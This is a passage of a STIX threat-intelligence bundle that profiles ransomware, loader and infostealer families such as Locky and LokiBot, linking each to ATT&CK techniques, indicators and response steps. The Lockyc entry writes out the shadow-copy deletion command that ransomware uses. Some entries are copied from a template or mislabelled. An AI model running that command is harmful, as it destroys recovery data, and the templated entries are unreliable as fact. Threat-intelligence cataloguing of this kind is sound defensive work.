      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5199c36-39b4-51b6-a056-1de53470749c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lockyc",
      "description": "<h3>Executive Summary</h3>\nLockyc (often detected as a direct variant or sophisticated copycat of the infamous Locky ransomware) is a highly destructive malware strain engineered for rapid financial extortion. Operating as a Cryptovirus, Lockyc infiltrates Windows systems, utilizes strong, unbreakable encryption algorithms (typically RSA-2048 and AES-128) to lock down the victim's critical data, and demands a ransom payment (usually in Bitcoin) in exchange for the decryption key.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLockyc is predominantly distributed via massive, automated spam campaigns (often driven by the Necurs botnet). The emails contain malicious attachments, such as `.docm` (Word with macros) or `.js` (JavaScript) files hidden within `.zip` archives. When executed, these scripts download and launch the core ransomware payload.\n\nOnce executed, Lockyc operates with devastating efficiency:\n<ul>\n<li><strong>Evasion and Command-and-Control:</strong> The ransomware frequently utilizes Domain Generation Algorithms (DGA) to contact its C2 servers. This allows it to securely exchange the public encryption key necessary to begin locking files while evading static IP blocklists.</li>\n<li><strong>Rapid File Encryption:</strong> Lockyc immediately begins scanning local drives, removable media, and critically, all mapped and unmapped network shares. It targets a vast array of file extensions (documents, databases, images, source code) and encrypts them, appending a specific extension (e.g., `.locky`, `.zepto`, or `.osiris`) to the files.</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Lockyc executes commands (like `vssadmin.exe delete shadows /all /quiet`) to instantly destroy Windows Volume Shadow Copies and disable local backup routines.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lockyc infection is a catastrophic security incident resulting in immediate, severe operational downtime and massive data loss. Due to the strength of modern encryption, files cannot be recovered without the private key or a viable offline backup.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Physical Isolation:</strong> Disconnect the infected machine from the network immediately (pull the Ethernet cable/disable Wi-Fi) to halt the encryption process and prevent the ransomware from traversing SMB shares to encrypt centralized file servers.</li>\n<li><strong>Do Not Reboot:</strong> Leave the machine powered on. Rebooting may trigger further destructive routines or destroy the encryption key if it temporarily resides in RAM.</li>\n<li><strong>Restore from Offline Backups:</strong> The only reliable remediation is to completely wipe the infected system (bare-metal reinstall) and restore the data from secure, offline backups that were unreachable by the ransomware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Lockyc",
        "Trojan-Ransom.Win32.Locky",
        "Filecoder.Locky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lockyc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lockyc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6648e57-16a3-5be9-a14f-c4b136f23ba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockyc exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--685a20c4-397a-54f3-9000-53d797a3354a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockyc exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31a2a754-b90b-5c73-b753-8e4027be6d86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockyc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e47be449-6ba9-5c57-9f40-7af7f7f693df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockyc exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0801b9f0-6ca9-5919-85cb-5b00254ec2e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--129995ea-eba4-5477-b794-ee96af0124d9",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockyc exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lodbak",
      "description": "Trojan:Win32/Lodbak is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lodbak</b><br>To an end-user, a Lodbak infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lodbak is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lodbak is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lodbak frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lodbak reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lodbak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lodbak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ce8e140-8436-54fc-b9aa-84cdffae5bf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lodbak exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e923cffa-1e22-5d41-a05e-76e13855a5ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lodbak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--161d03ae-aa57-585a-9d40-9e6fa9272e73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lodbak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--210c07fe-a57e-5942-a119-b469b9ac7e36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lodbak exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1940039-88ef-5d85-9e9c-f5f82cf527db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e936c26-6cf0-5210-b444-ad7547c9567c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lodbak exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d34a7fa-a108-5ebd-8133-64d40e48a53b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Logicielsespions",
      "description": "Spyware:Win32/Logicielsespions (French for 'Spyware') is a generic detection for malicious software designed to secretly monitor and collect information about a user, their computer, or their browsing habits, and send this data to a third party. This broad category can range from aggressive tracking adware to highly sophisticated keyloggers (`T1056.001`) and infostealers (`T1552`).<br><br><b>Understanding Logicielsespions (Spyware)</b><br>To an end-user, the infection is often invisible, though they may notice system slowdowns or unexpected network activity. For a SOC analyst, a spyware detection indicates a breach of confidentiality. The severity depends entirely on *what* the spyware is collecting\u2014is it just tracking browsing habits for ad targeting, or is it stealing corporate VPN credentials and session cookies?<br><br><b>Execution and Data Capture Mechanics</b><br>Spyware often arrives bundled with freeware (`T1189`) or via deceptive phishing links (`T1566.002`). Once installed, it establishes persistence (usually via Registry Run keys or hidden scheduled tasks). It operates in the background, employing various techniques to harvest data: hooking APIs to log keystrokes (`T1056.001`), taking periodic screenshots (`T1113`), or directly accessing browser profile directories to extract `logins.json` and `Cookies.sqlite` (`T1552.001`). The stolen data is then exfiltrated via HTTP POST or SMTP to an attacker-controlled server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from privacy violations to total credential compromise. Host-based IoCs include EDR alerts for suspicious API hooking (e.g., a non-standard process injecting into `explorer.exe`), unauthorized access to browser profile directories, and the presence of hidden, rapidly growing log files in `%Temp%`. Network IoCs involve regular, outbound HTTP/HTTPS or SMTP traffic to low-reputation domains, often containing encrypted or encoded payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Logicielsespions",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/logicielsespions"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4389b185-419b-5918-9380-d62ae44554fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34a7fa-a108-5ebd-8133-64d40e48a53b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Logicielsespions exhibits technique T1056.001 (Input Capture: Keylogging (A common spyware capability))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--010f7ece-925b-56d1-9984-8544bfd42c0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34a7fa-a108-5ebd-8133-64d40e48a53b",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Logicielsespions exhibits technique T1552.001 (Credentials In Files (Harvesting saved passwords from browsers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9b31def-0ddd-51b5-b7e1-79dc3c999ec5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34a7fa-a108-5ebd-8133-64d40e48a53b",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Logicielsespions exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the stolen data out of the network))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lojulox",
      "description": "Trojan:Win32/Lojulox is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lojulox</b><br>To an end-user, a Lojulox infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lojulox is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lojulox is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lojulox frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lojulox reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lojulox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lojulox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de213370-3dbc-5919-9863-35e753458242",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lojulox exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e001991-be71-5cc3-b0bc-78508302907f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lojulox exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6c93277-e4fd-57d3-afb3-656f67c1a18a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lojulox exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--add04a92-d94d-5a00-bced-98715d4ce6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lojulox exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a922a5d2-a2f2-555c-9e3f-321a24df4fa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f866947e-6b2b-51d4-9c93-f32767fd9095",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lojulox exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33d70a9e-5f76-5349-ab77-4c06cd7f7b38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loki",
      "description": "TrojanSpy:Win32/Loki (universally known as **LokiBot**) is one of the most prevalent, enduring, and dangerous information stealers on the cybercriminal market. Sold cheaply on underground forums, LokiBot is designed for the rapid, automated exfiltration of a massive variety of sensitive data, including web browser passwords, cryptocurrency wallets, FTP credentials, email accounts, and SSH keys. It is a favored tool for both low-level cybercriminals and advanced APT groups as an initial data-gathering mechanism.<br><br><b>Understanding LokiBot (Information Stealer)</b><br>To an end-user, a LokiBot infection is completely silent; the malware executes, steals the data in seconds, and often terminates itself to avoid detection. For a SOC analyst, LokiBot is a severe credential compromise event. Because it targets so many different applications, a single infection can lead to the compromise of the user's personal bank accounts, corporate VPN access, and server infrastructure (via stolen FTP/SSH keys).<br><br><b>Execution and Credential Harvesting Mechanics</b><br>LokiBot is heavily distributed via malicious spam campaigns (malspam) containing weaponized Office documents (macros) or archived executables (`T1566.001`). It is also frequently dropped by exploit kits. Upon execution, it uses Process Hollowing (`T1055.012`), often injecting its payload into a legitimate Windows process like `vbc.exe` or `explorer.exe`. Once running in memory, LokiBot iterates through a massive hardcoded list of target applications (Chrome, Firefox, Outlook, FileZilla, PuTTY, Bitcoin Core, etc.), querying their specific credential storage locations and decrypting the stored passwords (`T1555`). It packages the stolen data into a compressed archive and exfiltrates it to a C2 server via HTTP POST requests (`T1048.003`), often accompanied by a distinct user-agent string and unique hardware ID profiling the infected machine.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic credential loss leading to immediate account takeovers and lateral movement. Host-based IoCs include EDR alerts for 'Suspicious Process Hollowing' and rapid, unauthorized access to browser SQLite databases (like `Login Data`) and email credential stores. Network IoCs include outbound HTTP POST traffic containing specific URL patterns (e.g., `fre.php` or `five/fre.php`) associated with default LokiBot C2 panels. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loki"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--420c9595-9aea-5405-9723-2e278bb48dcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33d70a9e-5f76-5349-ab77-4c06cd7f7b38",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loki exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8e4e318-fc4f-5ea1-b943-6334c25467ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33d70a9e-5f76-5349-ab77-4c06cd7f7b38",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loki exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94b924cb-6623-55a3-bcad-85b0e200af0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33d70a9e-5f76-5349-ab77-4c06cd7f7b38",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loki exhibits technique T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol (HTTP POST))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00fa1595-f15e-5bc2-b65b-17421af1297f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33d70a9e-5f76-5349-ab77-4c06cd7f7b38",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loki exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lokibot",
      "description": "LokiBot (also designated as Loki PWS) is a widely proliferated commodity information stealer and keylogger first observed in 2015. Authored by an underground developer known as 'lokistat' and sold extensively across Darkode and Russian-speaking forums, LokiBot was specifically designed to covertly harvest stored authentication credentials, cryptocurrency wallets, and sensitive data from over 100 Windows software applications.\n\nLokiBot systematically extracts saved passwords from web browsers (Chrome, Firefox, Edge, Safari), email clients (Outlook, Thunderbird), FTP applications (FileZilla, WinSCP), terminal emulators (PuTTY), and cryptocurrency software. Because of its extreme prevalence and damaging impact on critical infrastructure, LokiBot was the subject of an emergency joint alert (Alert AA20-266A) issued by the US Cybersecurity and Infrastructure Security Agency (CISA) and the FBI. The malware is typically packaged in multi-layer packers and distributed through mass phishing emails weaponized with Microsoft Office exploits (CVE-2017-11882). (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "LokiBot",
        "Loki PWS",
        "Loki-Bot",
        "InfoStealer.LokiBot",
        "Trojan-PSW.Win32.Loki"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lokibot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lokibot"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a5693dd-21a5-56c7-bb2b-51073fcb360e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06744136-0c00-50f1-8306-5b47dc3200a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--defb6dad-f932-517c-ba46-852e4472f2ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f222783-e1d5-5836-bdc0-1879ad7a19d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f207f6fd-17ce-5722-a237-16db3848c27d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
